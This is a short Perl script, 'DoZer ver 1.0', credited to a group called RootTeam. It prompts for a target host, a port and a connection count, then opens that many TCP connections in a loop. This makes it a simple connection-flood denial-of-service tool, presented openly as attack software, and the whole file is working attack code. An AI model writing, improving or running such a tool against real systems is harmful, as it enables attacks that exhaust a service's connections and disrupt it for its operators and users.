#!/usr/bin/perl
use Socket;
print "==============================================\n";
print "     DoZer ver 1.0:[ RootTeam  software  ]:   \n";
print "                     Released  by WingGod     \n";
print " WWW:www.rootteam.f2s.com eMAIL:winggod\@nm.ru \n";
print "==============================================\n";

print "Hostname/IP:";
$remote=<STDIN>;
print "Port:";
$port = <STDIN>;
print "Connects:";
$i=<STDIN>;
for (1..$i) {
$iaddr = inet_aton($remote);
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket(SOCK.$_, PF_INET, SOCK_STREAM, $proto);
connect(SOCK.$_, $paddr);
print "[$_]Connected\n";
};